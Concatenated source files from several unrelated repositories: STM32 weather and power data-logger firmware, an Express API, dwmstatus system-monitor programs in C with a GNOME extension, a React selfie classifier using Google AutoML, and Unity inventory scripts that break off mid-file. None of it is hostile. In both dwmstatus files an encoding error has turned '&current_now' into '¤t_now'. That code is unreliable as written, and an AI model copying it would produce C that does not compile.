//logFile.println(dateString + COMMA + timeString + COMMA + String(voltage) + COMMA + String(temperature) + COMMA + String(pressure) + COMMA + String(wSpeed) + COMMA + String(wDir));
logFile.print(ToSDCard);
ToSDCard = String("");
//logFile.println(dateTimeString + String("\tCurrent: ") + String(current) + String(" A") + String("\tTemperature: ") + String(temperature) + String(" C") + String("\tPressure: ") + String(pressure) + String(" hPa"));
logFile.close();
}
}
if(Serial2.available() > 0){
if(rxChar == '#' && !captureData){
captureData = true;
} else if(rxChar == 'S' && captureData){
captureData = false;
if(rxString.compareTo("DC")) {
dc = true;
} else if(rxString.compareTo("CO")) dc = false;
rxString = "";
} else if(captureData){
rxString += rxChar;
}
}
}
void sendToESP(){
Floating temp;
/*Serial2.write("#D");
Serial2.write(dateString);
Serial2.write('S');
Serial2.write("#Y");
Serial2.write(timeString);
Serial2.write('S');*/
Serial2.write("#$");
Serial2.write(dateTimeString);
Serial2.write('S');
temp.f32 = temperature;
Serial2.write("#T");
Serial2.write(temp.c8, 4);
Serial2.write('S');
temp.f32 = pressure;
Serial2.write("#P");
Serial2.write(temp.c8, 4);
Serial2.write('S');
temp.f32 = current;
Serial2.write("#I");
Serial2.write(temp.c8, 4);
Serial2.write('S');
temp.f32 = voltage;
Serial2.write("#V");
Serial2.write(temp.c8, 4);
Serial2.write('S');
temp.f32 = wSpeed;
Serial2.write("#E");
Serial2.write(temp.c8, 4);
Serial2.write('S');
temp.f32 = wDir;
Serial2.write("#W");
//Serial2.write(temp.c8, 4);
Serial2.print(windSend);
Serial2.write('S');
Serial2.write("#COMPLS");
}
void windVelocity(){
unsigned long rTime = millis();
if((rTime - sTime) > 2500){
pulseTime = 0;
}
if((rTime - dataTimer) > 1000){
float avgWindSpeed = getAvgWindSpeed(cPulseTime, avgWindCount);
//if(avgWindSpeed >= maxWindSpeed) //digitalWrite(BUZZERPIN, HIGH);
//else //digitalWrite(BUZZERPIN, LOW);
}
cPulseTime = 0;
avgWindCount = 0;
float anemoFreq = 0;
if(pulseTime > 0.0) anemoFreq = getAnemoFreq(pulseTime);
float windSpeedMPH = getWindMPH(anemoFreq);
float windSpeedMS = getWindMs(windSpeedMPH);
wSpeed = windSpeedMS;
dataTimer = millis();
}
float getAnemoFreq(float pulseTime) {
return (1 / pulseTime);
}
float getWindMPH(float freq) {
return (freq * 2.5);
}
float getWindKPH(float MPHspeed) {
return (MPHspeed * 1.61);
}
float getWindMs(float cMPHspeed) {
return (cMPHspeed * 0.44704);
}
float getAvgWindSpeed(float pulse, int periode) {
if (periode) {
return getAnemoFreq((float)(pulse / periode));
}
else {
return 0;
}
}
void anemoISR(){
unsigned long cTime = millis();
pulseTime = (float)(cTime - sTime) / 1000.0;
cPulseTime += pulseTime;
avgWindCount++;
sTime = cTime;
}
void sendToSDCard(){
}
void windDirection(){
Degree = wDir;
//for(int i=0; i<8; i++){
Arah = (int)Degree % 45;
Threshold_Direction = Degree/45;
if(Threshold_Direction==0 && Arah<22.5 || Threshold_Direction==7 && Arah>22.5){
counter++;
if(counter >= 1){
Wind_Direction = "Utara";
windSend = "UUUU";
counter=0;
Last_Wind_Direction = Wind_Direction;
}
else
Wind_Direction = Last_Wind_Direction;
}
else if(Threshold_Direction==1 && Arah<22.5 || Threshold_Direction==0 && Arah>22.5){
counter++;
if(counter >= 1){
Wind_Direction = "<NAME>";
windSend = "cccc";
counter=0;
Last_Wind_Direction = Wind_Direction;
}
else
Wind_Direction = Last_Wind_Direction;
}
else if(Threshold_Direction==2 && Arah<22.5 || Threshold_Direction==1 && Arah>22.5){
counter++;
if(counter >= 1){
Wind_Direction = "Timur";
windSend = "zzzz";
counter=0;
Last_Wind_Direction = Wind_Direction;
}
else
Wind_Direction = Last_Wind_Direction;
}
else if(Threshold_Direction==3 && Arah<22.5 || Threshold_Direction==2 && Arah>22.5){
counter++;
if(counter >= 1){
Wind_Direction = "Tenggara";
windSend = "iiii";
counter=0;
Last_Wind_Direction = Wind_Direction;
}
else
Wind_Direction = Last_Wind_Direction;
}
else if(Threshold_Direction==4 && Arah<22.5 || Threshold_Direction==3 && Arah>22.5){
counter++;
if(counter >= 1){
Wind_Direction = "Selatan";
windSend = "5555";
counter=0;
Last_Wind_Direction = Wind_Direction;
}
else
Wind_Direction = Last_Wind_Direction;
}
else if(Threshold_Direction==5 && Arah<22.5 || Threshold_Direction==4 && Arah>22.5){
counter++;
if(counter >= 1){
Wind_Direction = "Barat Laut";
windSend = "LLLL";
counter=0;
Last_Wind_Direction = Wind_Direction;
}
else
Wind_Direction = Last_Wind_Direction;
}
else if(Threshold_Direction==6 && Arah<22.5 || Threshold_Direction==5 && Arah>22.5){
counter++;
if(counter >= 1){
Wind_Direction = "Barat";
windSend = "****";
counter=0;
Last_Wind_Direction = Wind_Direction;
}
else
Wind_Direction = Last_Wind_Direction;
}
else if(Threshold_Direction==7 && Arah<22.5){
counter++;
if(counter >= 1){
Wind_Direction = "Barat Daya";
windSend = "BBBB";
counter=0;
Last_Wind_Direction = Wind_Direction;
}
else
Wind_Direction = Last_Wind_Direction;
}
else
Wind_Direction = Last_Wind_Direction;
//}
//Serial.println(Wind_Direction);
LastDegree = Degree;
}<file_sep>; PlatformIO Project Configuration File
;
; Build options: build flags, source filter
; Upload options: custom upload port, speed and extra flags
; Library options: dependencies, extra library storages
; Advanced options: extra scripting
;
; Please visit documentation for the other options and examples
; https://docs.platformio.org/page/projectconf.html
[env:robotdyn_blackpill_f303cc]
platform = ststm32
board = robotdyn_blackpill_f303cc
framework = arduino
lib_deps =
marcoschwartz/LiquidCrystal_I2C@^1.1.4
makuna/RTC@^2.3.5
rkoptev/ACS712 Current Sensor@^1.0.2
arduino-libraries/SD@^1.2.4
adafruit/Adafruit BMP280 Library@^2.1.1
adafruit/Adafruit Unified Sensor@^1.1.4
robtillaart/ADS1X15@^0.2.7
bblanchon/ArduinoJson@^6.17.3
<file_sep># STM32F3-DataLogger
Data logger for renewables energy.
| 457b82ebb4fe7bc68b9a7925a860bb3263869fcf | [
"Markdown",
"C++",
"INI"
] | 3 | C++ | koson/STM32F3-DataLogger | 88e3c0755a26162dd2e1bc89e584c2ad8d578f97 | d460e5f16fed60bcc07b7eb5af39188ab5417283 |
refs/heads/master | <repo_name>Ajaodolapo1301/info<file_sep>/app.js
var express =require("express")
var bodyParser = require("body-parser")
var cors = require("cors")
var app=express()
var authRoute = require("./routes/api/auth")
var userRoute = require("./routes/api/user")
var staffRoute = require("./routes/api/staff")
var fileUpload = require("express-fileupload")
const path = require("path")
const config = require("./config/secret")
app.use(cors())
app.use(bodyParser.json())
app.use(bodyParser.urlencoded({extended:true}))
app.use(fileUpload())
app.use(express.json({extended:false}))
app.use("/api/auth", authRoute)
app.use("/api/user", userRoute)
app.use("/api/staff", staffRoute)
// serve static
if(process.env.NODE_ENV === "production"){
app.use(express.static("client/build"))
app.get("*", (req,res)=>{
res.sendFile(path.resolve(__dirname,"client", "build", "index.html"))
})
}
const PORT = process.env.PORT || 5000
app.listen(PORT|| 5000 ,function() {
console.log(`server running like bolt ${PORT}`)
})
<file_sep>/helper/message.js
var express = require("express");
var router = express.Router({mergeParams:true});
var db =require("../models")
var jwt = require("jsonwebtoken")
var helper = require("../helper/auth")
exports.createMessage =function(req,res,next) {
const newMessage ={
text:req.body.text,
userId: req.params.id
}
db.Message.create(newMessage)
.then(function(message){
db.User.findById(req.params.id)
.then(function(user) {
user.message.push(message.id)
user.save()
.then(function(user) {
return db.Message.findById(message._id)
.populate("userId",{username:true, profileImageUrl:true,timestamp:true})
}).then(function(m) {
return res.status(200).json(m)
}).catch(next)
}).catch(next)
}).catch(next)
}
| 08ec9755610f531f1ef7c159af0a6eba9816357c | [
"JavaScript"
] | 2 | JavaScript | Ajaodolapo1301/info | 1f258bac33091cb403e2a2528d74cf5594f823e4 | 177fdcdb7a6ffc3e01eb095f4c17f8009fbdacfd |
refs/heads/master | <repo_name>ceemos/dwmstatus<file_sep>/dwmstatus.c
/* made by profil 2011-12-29.
**
** Compile with:
** gcc -Wall -pedantic -std=c99 -lX11 status.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <inttypes.h>
#include <time.h>
#include <X11/Xlib.h>
static Display *dpy;
void setstatus(char *str) {
XStoreName(dpy, DefaultRootWindow(dpy), str);
XSync(dpy, False);
}
float getfreq(char *file) {
FILE *fd;
char *freq;
float ret;
freq = malloc(10);
fd = fopen(file, "r");
if(fd == NULL) {
fprintf(stderr, "Cannot open '%s' for reading.\n", file);
exit(1);
}
fgets(freq, 10, fd);
fclose(fd);
ret = atof(freq)/1000000;
free(freq);
return ret;
}
char *getdatetime() {
static char buf[64];
time_t result;
struct tm *resulttm;
result = time(NULL);
resulttm = localtime(&result);
if(resulttm == NULL) {
fprintf(stderr, "Error getting localtime.\n");
exit(1);
}
if(!strftime(buf, sizeof(char)*64-1, "%a %b %d %H:%M:%S", resulttm)) {
fprintf(stderr, "strftime is 0.\n");
exit(1);
}
return buf;
}
int getbattery() {
FILE *fd;
int energy_now, energy_full;
fd = fopen("/sys/class/power_supply/BAT0/charge_now", "r");
if(fd == NULL) {
fprintf(stderr, "Error opening charge_now.\n");
return -1;
}
fscanf(fd, "%d", &energy_now);
fclose(fd);
fd = fopen("/sys/class/power_supply/BAT0/charge_full", "r");
if(fd == NULL) {
fprintf(stderr, "Error opening charge_full.\n");
return -1;
}
fscanf(fd, "%d", &energy_full);
fclose(fd);
return (int)((float) energy_now / (float) energy_full * 100.0);
}
float getpower() {
FILE *fd;
int voltage_now, current_now;
fd = fopen("/sys/class/power_supply/BAT0/voltage_now", "r");
if(fd == NULL) {
fprintf(stderr, "Error opening voltage_now.\n");
return -1;
}
fscanf(fd, "%d", &voltage_now);
fclose(fd);
fd = fopen("/sys/class/power_supply/BAT0/current_now", "r");
if(fd == NULL) {
fprintf(stderr, "Error opening current_now.\n");
return -1;
}
fscanf(fd, "%d", ¤t_now);
fclose(fd);
uint64_t pwr = voltage_now;
pwr *= current_now;
pwr /= 1000000000;
return (float) pwr / 1000.0;
}
char* getnetusage() {
static char buf[255];
static char outbuf[255];
char* outpos = outbuf;
static uint64_t oldvalsrx[10];
static uint64_t oldvalstx[10];
uint64_t absrx, abstx;
static char namebuf[16];
int bufsize = 255;
FILE *devfd;
bufsize = 255;
devfd = fopen("/proc/net/dev", "r");
// ignore the first two lines of the file
fgets(buf, bufsize, devfd);
fgets(buf, bufsize, devfd);
int i = 0;
outbuf[0] = '\0';
while (fgets(buf, bufsize, devfd)) {
// With thanks to the conky project at http://conky.sourceforge.net/
int hits = sscanf(buf, "%s %" SCNu64 " %*d %*d %*d %*d %*d %*d %*d %" SCNu64, namebuf, &absrx, &abstx);
if (hits == 3 && (oldvalsrx[i] != absrx || oldvalstx[i] != abstx)) {
uint64_t relrx = absrx - oldvalsrx[i];
uint64_t reltx = abstx - oldvalstx[i];
double rx, tx;
char *rxc, *txc;
rxc = "kB/s"; txc = "kB/s";
rx = relrx / 1024.0;
tx = reltx / 1024.0;
if (rx > 1024.0) {
rxc = "MB/s"; rx /= 1024.0;
}
if (tx > 1024.0) {
txc = "MB/s"; tx /= 1024.0;
}
outpos += sprintf(outpos, "%s %.2f %s rx, %.2f %s tx ", namebuf, rx, rxc, tx, txc);
oldvalsrx[i] = absrx;
oldvalstx[i] = abstx;
}
i++;
}
fclose(devfd);
return outbuf;
}
int* getcpuload() {
FILE *fd;
#define MAXCPU 2
static long cpu_work[MAXCPU], cpu_total[MAXCPU];
long jif1, jif2, jif3, jif4, jif5, jif6, jif7;
long work[MAXCPU], total[MAXCPU];
static int load[MAXCPU];
fd = fopen("/proc/stat", "r");
char c;
while (c != '\n') c = fgetc(fd); // read first line
for (int i = 0; i < MAXCPU; i++) {
c = 0;
fscanf(fd, "cpu%*d %ld %ld %ld %ld %ld %ld %ld", &jif1, &jif2, &jif3, &jif4, &jif5, &jif6, &jif7);
while (c != '\n') c = fgetc(fd); // consume rest of line
work[i] = jif1 + jif2 + jif3 + jif6 + jif7;
total[i] = work[i] + jif4 + jif5;
load[i] = 100 * (work[i] - cpu_work[i]) / (total[i] - cpu_total[i]);
cpu_work[i] = work[i];
cpu_total[i] = total[i];
}
fclose(fd);
return load;
}
int main(void) {
char *status;
float cpu0;
char *datetime;
int bat0;
float pwr;
char *net;
int* load;
if (!(dpy = XOpenDisplay(NULL))) {
fprintf(stderr, "Cannot open display.\n");
return 1;
}
if((status = malloc(200)) == NULL)
exit(1);
for (;;sleep(1)) {
cpu0 = getfreq("/sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq");
datetime = getdatetime();
bat0 = getbattery();
pwr = getpower();
net = getnetusage();
load = getcpuload();
snprintf(status, 200, "%s | %0.2f | %d%% %d%% | %d%% %0.2fW | %s", net, cpu0, load[0], load[1], bat0, pwr, datetime);
setstatus(status);
//fprintf(stderr, "%s\n", status);
}
free(status);
XCloseDisplay(dpy);
return 0;
}
<file_sep>/dwmstatus-file.c
/* made by profil 2011-12-29.
**
** Compile with:
** gcc -Wall -pedantic -std=c99 -lX11 status.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <inttypes.h>
#include <time.h>
float getfreq(char *file) {
FILE *fd;
char *freq;
float ret;
freq = malloc(10);
fd = fopen(file, "r");
if(fd == NULL) {
fprintf(stderr, "Cannot open '%s' for reading.\n", file);
exit(1);
}
fgets(freq, 10, fd);
fclose(fd);
ret = atof(freq)/1000000;
free(freq);
return ret;
}
char *getdatetime() {
static char buf[64];
time_t result;
struct tm *resulttm;
result = time(NULL);
resulttm = localtime(&result);
if(resulttm == NULL) {
fprintf(stderr, "Error getting localtime.\n");
exit(1);
}
if(!strftime(buf, sizeof(char)*64-1, "%a %b %d %H:%M:%S", resulttm)) {
fprintf(stderr, "strftime is 0.\n");
exit(1);
}
return buf;
}
int getbattery() {
FILE *fd;
int energy_now, energy_full;
fd = fopen("/sys/class/power_supply/BAT1/energy_now", "r");
if(fd == NULL) {
fprintf(stderr, "Error opening energy_now.\n");
return -1;
}
fscanf(fd, "%d", &energy_now);
fclose(fd);
fd = fopen("/sys/class/power_supply/BAT1/energy_full", "r");
if(fd == NULL) {
fprintf(stderr, "Error opening energy_full.\n");
return -1;
}
fscanf(fd, "%d", &energy_full);
fclose(fd);
return (int)((float) energy_now / (float) energy_full * 100.0);
}
float getpower() {
FILE *fd;
int current_now;
fd = fopen("/sys/class/power_supply/BAT1/power_now", "r");
if(fd == NULL) {
fprintf(stderr, "Error opening power_now.\n");
return -1;
}
fscanf(fd, "%d", ¤t_now);
fclose(fd);
uint64_t pwr = current_now;
pwr /= 10000;
return (float) pwr / 100.0;
}
char* getnetusage() {
static char buf[255];
static char outbuf[255];
char* outpos = outbuf;
static uint64_t oldvalsrx[10];
static uint64_t oldvalstx[10];
uint64_t absrx, abstx;
static char namebuf[16];
int bufsize = 255;
FILE *devfd;
bufsize = 255;
devfd = fopen("/proc/net/dev", "r");
// ignore the first two lines of the file
fgets(buf, bufsize, devfd);
fgets(buf, bufsize, devfd);
int i = 0;
outbuf[0] = '\0';
while (fgets(buf, bufsize, devfd)) {
// With thanks to the conky project at http://conky.sourceforge.net/
int hits = sscanf(buf, "%s %" SCNu64 " %*d %*d %*d %*d %*d %*d %*d %" SCNu64, namebuf, &absrx, &abstx);
if (hits == 3 && (oldvalsrx[i] != absrx || oldvalstx[i] != abstx)) {
uint64_t relrx = absrx - oldvalsrx[i];
uint64_t reltx = abstx - oldvalstx[i];
double rx, tx;
char *rxc, *txc;
rxc = "k"; txc = "k";
rx = relrx / 1024.0;
tx = reltx / 1024.0;
if (rx > 1024.0) {
rxc = "M"; rx /= 1024.0;
}
if (tx > 1024.0) {
txc = "M"; tx /= 1024.0;
}
outpos += sprintf(outpos, "%s %.1f %s, %.1f %s ", namebuf, rx, rxc, tx, txc);
oldvalsrx[i] = absrx;
oldvalstx[i] = abstx;
}
i++;
}
fclose(devfd);
return outbuf;
}
int* getcpuload() {
FILE *fd;
#define MAXCPU 4
static long cpu_work[MAXCPU], cpu_total[MAXCPU];
long jif1, jif2, jif3, jif4, jif5, jif6, jif7;
long work[MAXCPU], total[MAXCPU];
static int load[MAXCPU];
fd = fopen("/proc/stat", "r");
char c;
while (c != '\n') c = fgetc(fd); // read first line
for (int i = 0; i < MAXCPU; i++) {
c = 0;
fscanf(fd, "cpu%*d %ld %ld %ld %ld %ld %ld %ld", &jif1, &jif2, &jif3, &jif4, &jif5, &jif6, &jif7);
while (c != '\n') c = fgetc(fd); // consume rest of line
work[i] = jif1 + jif2 + jif3 + jif6 + jif7;
total[i] = work[i] + jif4 + jif5;
load[i] = 100 * (work[i] - cpu_work[i]) / (total[i] - cpu_total[i]);
cpu_work[i] = work[i];
cpu_total[i] = total[i];
}
fclose(fd);
return load;
}
int main(void) {
char *status;
float cpu0;
char *datetime;
int bat0;
float pwr;
char *net;
int* load;
if((status = malloc(200)) == NULL)
exit(1);
FILE *out = fopen("/tmp/status", "w");
if (out == NULL) {
fprintf(stderr, "Can't open outfile!");
exit(1);
}
getnetusage(); // init net values
for(;;sleep(1)) {
cpu0 = getfreq("/sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_cur_freq");
datetime = getdatetime();
bat0 = getbattery();
pwr = getpower();
net = getnetusage();
load = getcpuload();
snprintf(status, 200, "%s %d%% %d%% %d%% %d%% %d%% %0.2fW %0.2fGHz %s", net, load[0], load[1], load[2], load[3], bat0, pwr, cpu0, datetime);
fprintf(out, "%s\n\n\n", status);
rewind(out);
}
return 0;
}
<file_sep>/dwmstatus-gnome@ceemos.github.com/extension.js
const St = imports.gi.St;
const Main = imports.ui.main;
const Tweener = imports.ui.tweener;
const Mainloop = imports.mainloop;
const Lang = imports.lang;
const GLib = imports.gi.GLib;
const Gio = imports.gi.Gio;
let text, label, ctr = 0;
function PanelButton() {
this._init();
}
PanelButton.prototype = {
_init: function() {
this.actor = new St.Label({ text: "HelloWorld Button" });
Main.panel._rightBox.insert_child_at_index(this.actor, 0) //add(this.actor, { y_fill: true , x_fill:true, x_align: St.Align.START});
_update()
},
_onDestroy: function() {}
};
function _update(text) {
if(!text) {
Mainloop.timeout_add(1000, _update);
cat("/tmp/status")
} else {
ctr += 1
if (label) {
label.actor.text = " " + text
}
}
}
function cat(filename) {
let f = Gio.file_new_for_path(filename);
f.load_contents_async(null, function(f, res) {
let contents;
try {
contents = f.load_contents_finish(res)[1];
} catch (e) {
log("*** ERROR: " + e.message);
return;
}
_update(contents)
});
}
function init() {
label = new PanelButton();
}
function enable() {
Main.panel._rightBox.insert_child_at_index(label.actor, 0);
}
function disable() {
Main.panel._rightBox.remove_child(label.actor);
}
| 51490d37b340bb719d57a678a3f1e32d16ca9c04 | [
"JavaScript",
"C"
] | 3 | C | ceemos/dwmstatus | 9f4392cd57b50969fd72e70f4a7161d76fd55ba2 | 11e3bdec4347139100be3c2cec12f6678a5f89fc |
refs/heads/master | <file_sep>import * as React from 'react';
import './SelfieClassifier.css'
import Camera from 'react-html5-camera-photo';
import axios from "axios";
import 'react-html5-camera-photo/build/css/index.css';
export class SelfieClassifier extends React.Component {
state = {
cameraOn: true,
image: null
}
render() {
const { cameraOn } = this.state
const camera = cameraOn ?
<Camera style={{ borderRadius: '0.5rem 0.5rem 0 0', width: '100%' }} onTakePhoto={(dataUri) => { this.onTakePhoto(dataUri) }} /> :
<>
<div><img className='selfie' alt='' src={this.state.image} /></div>
</>
return (
<div>
<div className='cameraWindow'>{camera}</div>
</div>
)
}
toggleCamera = () => {
const { cameraOn } = this.state
this.setState({ cameraOn: !cameraOn })
}
onTakePhoto = async (dataUri) => {
this.toggleCamera()
// console.log(dataUri)
this.setState({ image: dataUri })
this.props.addSelfie(dataUri)
const result = await axios({
method: 'post',
url: "/score",
data: {
uri: dataUri
}
});
console.log(result.data[0].classification.score);
if (result.status == 200) {
this.props.addScore(result.data[0].classification.score);
}
}
}
export default SelfieClassifier
<file_sep>const express = require("express");
const automl = require('@google-cloud/automl');
const bodyParser = require("body-parser");
const fs = require('fs');
const dotenv = require('dotenv');
const path = require("path");
var sslRedirect = require('heroku-ssl-redirect');
dotenv.config();
const app = express();
const port = process.env.PORT || 5000;
app.listen(port, () => console.log(`Listening on port ${port}`));
app.use(sslRedirect());
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({
extended: true
}));
app.use(express.static(path.join(__dirname, 'client/build')));
const projectId = 'usober-221401';
const computeRegion = 'us-central1';
const modelId = 'ICN1919291792004788168';
const scoreThreshold = '0.5';
const client = new automl.PredictionServiceClient();
const modelFullId = client.modelPath(projectId, computeRegion, modelId);
// Read the file content for prediction.
const params = {};
if (scoreThreshold) {
params.score_threshold = scoreThreshold;
}
// Set the payload by giving the content and type of the file.
// params is additional domain-specific parameters.
// currently there is no additional parameters supported.
async function grab(content) {
const payload = {};
payload.image = {
imageBytes: content
};
const [response] = await client.predict({
name: modelFullId,
payload: payload,
params: params,
});
console.log('Prediction results:');
response.payload.forEach(result => {
console.log(`Predicted class name: ${result.displayName}`);
console.log(`Predicted class score: ${result.classification.score}`);
});
console.log(response);
return response.payload;
}
app.post("/score", function (req, res) {
(async function () {
const val = await grab(req.body.uri.slice(22));
console.log(val);
res.send(val);
})();
});
//app.get('*', (req, res) => {
// res.sendFile(path.join(__dirname + '/client/build/index.html'));
//}); | 4050713fa6ae08de60cb39f54f05566f78ef2461 | [
"JavaScript"
] | 2 | JavaScript | raveen-singh/web | c164d41184484a765bd52158b350ee5fc887738f | ba8b4549c7016c150a2e857025ce4d17cd1e6510 |
refs/heads/master | <file_sep>#if PLAYMAKER
using UnityEngine;
using System.Collections;
using HutongGames.PlayMaker;
namespace Devdog.InventorySystem.Integration.PlayMaker
{
[ActionCategory("Inventory Pro")]
[HutongGames.PlayMaker.Tooltip("Use a triggerer.")]
public class UseTriggererFsmObject : FsmStateAction
{
public FsmObject trigger;
public FsmBool useOrUnUse;
public override void Reset()
{
}
public override void OnEnter()
{
var t = trigger.Value as ObjectTriggererBase;
if (t != null)
{
if (useOrUnUse.Value)
{
t.Use();
}
else
{
t.UnUse();
}
}
Finish();
}
}
}
#endif<file_sep>#if REWIRED
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Devdog.InventorySystem;
using Devdog.InventorySystem.UI;
using UnityEngine;
namespace Devdog.InventorySystem.Integration.RewiredIntegration
{
[RequireComponent(typeof(ObjectTriggererBase))]
[AddComponentMenu("InventorySystem/Integration/Rewired triggerer helper")]
public partial class RewiredTriggererHelper : RewiredMonoBehaviour, IObjectTriggerInputOverrider
{
// private ObjectTriggererBase _triggerer;
protected override void Awake()
{
base.Awake();
// _triggerer = GetComponent<ObjectTriggererBase>();
}
public bool AreKeysDown(ObjectTriggererBase triggerer)
{
return player.GetButtonDown(rewiredActionName);
}
}
}
#endif<file_sep>#if REWIRED
using UnityEngine;
using System.Collections;
using System.Linq;
using Devdog.InventorySystem.UI;
using Rewired;
using UnityEngine.Assertions;
namespace Devdog.InventorySystem.Integration.RewiredIntegration
{
[AddComponentMenu("InventorySystem/Integration/Rewired/Rewired Input Manager")]
public class RewiredInputManager : MonoBehaviour
{
[Header("Rewired for item pickups")]
public bool useSystemPlayer = false;
public int rewiredPlayerID = 0;
public string rewiredActionName;
protected Rewired.Player player;
protected virtual void Awake()
{
if (useSystemPlayer)
{
player = Rewired.ReInput.players.GetSystemPlayer();
}
else
{
player = Rewired.ReInput.players.GetPlayer(rewiredPlayerID);
}
Assert.IsNotNull(player, "Rewired player with ID " + rewiredPlayerID + " could not be found!");
Assert.IsTrue(Rewired.ReInput.mapping.Actions.Any(o => o.name == rewiredActionName), "No rewired action found with name: " + rewiredActionName);
Debug.Log("Overwriting default Inventory Pro input module -> Replacing with Rewired input.");
InventoryInputManager.instance.objectTriggererItemInputOverrider = new RewiredInputOverrider(player, rewiredActionName);
}
}
}
#endif<file_sep>using UnityEngine;
using System.Collections;
using UnityEngine.EventSystems;
using System.Collections.Generic;
using System.Linq;
using UnityEngine.UI;
namespace Devdog.InventorySystem.UI
{
public partial class InventoryUIUtility
{
#region Variables
public static bool isFocusedOnInput
{
get
{
if (EventSystem.current != null && EventSystem.current.currentSelectedGameObject != null)
if (EventSystem.current.currentSelectedGameObject.GetComponent<InputField>() != null)
return true;
return false;
}
}
public static bool isHoveringUIElement
{
get
{
return InventoryInputManager.cursorRaycastUIResults.Count > 0;
}
}
/// <summary>
/// Get the wrapper we're currently hovering over with our mouse (or touch).
/// Convenience property.
/// </summary>
public static InventoryUIItemWrapperBase currentlyHoveringWrapper
{
get { return InventoryInputManager.instance.currentlyHoveringWrapper; }
}
/// <summary>
/// Get the currently selected wrapper. Is null if none selected.
/// Note that this is not the same as the hovering item.
/// </summary>
public static InventoryUIItemWrapperBase currentlySelectedWrapper
{
get
{
var o = currentlySelectedGameObject;
if (o != null)
return o.GetComponent<InventoryUIItemWrapperBase>();
return null;
}
}
/// <summary>
/// Get the currently selected wrapper. Is null if none selected.
/// Note that this is not the same as the hovering item.
/// </summary>
public static GameObject currentlySelectedGameObject
{
get
{
if (EventSystem.current == null || EventSystem.current.currentSelectedGameObject == null)
return null;
return EventSystem.current.currentSelectedGameObject;
}
}
/// <summary>
/// Get the current mouse position, or the current touch position if this is a mobile device.
/// </summary>
public static Vector3 mouseOrTouchPosition
{
get
{
if (Application.isMobilePlatform)
{
if (Input.touchCount > 0)
return Input.GetTouch(0).position;
}
return Input.mousePosition;
}
}
/// <summary>
/// Check if an object is allowed to get input based on the CanvasGroup.
/// </summary>
/// <param name="obj"></param>
/// <returns></returns>
public static bool CanReceiveInput(GameObject obj)
{
if (InventoryInputManager.instance == null)
return true;
return InventoryInputManager.instance.CanReceiveInput(obj);
}
public static bool CanReceiveInput(InventoryUIItemWrapperBase wrapper)
{
if (wrapper == null)
return false;
return CanReceiveInput(wrapper.gameObject);
}
#endregion
public static void PositionRectTransformAtPosition(RectTransform rectTransform, Vector3 screenPos)
{
var canvas = InventorySettingsManager.instance.guiRoot;
if (canvas.renderMode == RenderMode.ScreenSpaceCamera || canvas.renderMode == RenderMode.WorldSpace)
{
Vector2 pos;
RectTransformUtility.ScreenPointToLocalPointInRectangle(canvas.GetComponent<RectTransform>(), screenPos, canvas.worldCamera, out pos);
rectTransform.position = canvas.transform.TransformPoint(pos);
}
else if (canvas.renderMode == RenderMode.ScreenSpaceOverlay)
{
rectTransform.position = screenPos;
}
// if (canvas.renderMode == RenderMode.ScreenSpaceCamera)
// {
// var p = screenPos;
//#if UNITY_EDITOR
// // ??
//#else
// p.y -= Screen.height; // TODO: Remove -- Why unity?? Why??
//#endif
// rectTransform.anchoredPosition = p;
// }
// else
// {
//
// }
}
}
}<file_sep>using System;
using UnityEngine;
using System.Collections;
using UnityEngine.UI;
using UnityEngine.EventSystems;
using System.Collections.Generic;
using System.Linq;
using Devdog.InventorySystem.Models;
using Devdog.InventorySystem.UI;
using UnityEngine.Assertions;
namespace Devdog.InventorySystem
{
[HelpURL("http://devdog.nl/documentation/lootui/")]
[AddComponentMenu("InventorySystem/Windows/Loot")]
[RequireComponent(typeof(UIWindow))]
public partial class LootUI : ItemCollectionBase
{
public override uint initialCollectionSize
{
get { return 0; }
}
private UIWindow _window;
public virtual UIWindow window
{
get
{
if (_window == null)
_window = GetComponent<UIWindow>();
return _window;
}
protected set { _window = value; }
}
public override void Start()
{
base.Start();
OnRemovedItem += (item, itemID, slot, amount) =>
{
HideWindowIfEmpty();
};
window.OnShow += WindowOnOnShow;
}
private void WindowOnOnShow()
{
if (items.Length > 0)
{
var selectable = items[0].GetComponent<Selectable>();
if (selectable != null)
{
selectable.Select();
}
}
}
// <inheritcdoc />
public override void SetItems(InventoryItemBase[] newItems, bool setParent, bool repaint = true)
{
bool canPutIn = canPutItemsInCollection;
canPutItemsInCollection = true;
Resize((uint)items.Length, true); // Force resize, SetItems() doesn't force, hence the extra call.
base.SetItems(newItems, setParent, repaint);
canPutItemsInCollection = canPutIn;
}
public override bool SetItem(uint slot, InventoryItemBase item)
{
var c = item as CurrencyInventoryItem;
if (c != null)
{
return AddCurrency(c.amount, c.currencyID);
}
return base.SetItem(slot, item);
}
public virtual void TakeCurrencies()
{
foreach (var c in currenciesContainer.lookups)
{
bool added = InventoryManager.AddCurrency(c);
if (added)
{
c.amount = 0f;
}
}
HideWindowIfEmpty();
}
public virtual void TakeAll()
{
TakeCurrencies();
foreach (var item in this.items)
{
if(item != null && item.item != null)
{
((InventoryUIItemWrapper)item).OnPointerUp(new PointerEventData(EventSystem.current));
}
}
HideWindowIfEmpty();
}
protected virtual void HideWindowIfEmpty()
{
if (isEmpty)
{
window.Hide();
}
}
public override IList<InventoryItemUsability> GetExtraItemUsabilities(IList<InventoryItemUsability> basic)
{
var l = base.GetExtraItemUsabilities(basic);
l.Add(new InventoryItemUsability("Loot", (item) =>
{
InventoryManager.AddItemAndRemove(item);
}));
return l;
}
public override bool CanMergeSlots(uint slot1, ItemCollectionBase collection2, uint slot2)
{
return false;
}
public override bool SwapOrMerge(uint slot1, ItemCollectionBase handler2, uint slot2, bool repaint = true)
{
return false;
}
}
}<file_sep>#if PLAYMAKER
using UnityEngine;
using System.Collections;
using HutongGames.PlayMaker;
namespace Devdog.InventorySystem.Integration.PlayMaker
{
[ActionCategory("Inventory Pro")]
[HutongGames.PlayMaker.Tooltip("Adds currency to a collection.")]
public class AddCurrencyToCollectionFsmObject : FsmStateAction
{
//public ItemCollectionBase collection;
public FsmInt currencyID;
public FsmFloat amount = 1f;
public FsmObject collection;
public override void Reset()
{
}
public override void OnEnter()
{
var c = collection.Value as ItemCollectionBase;
if (c == null)
{
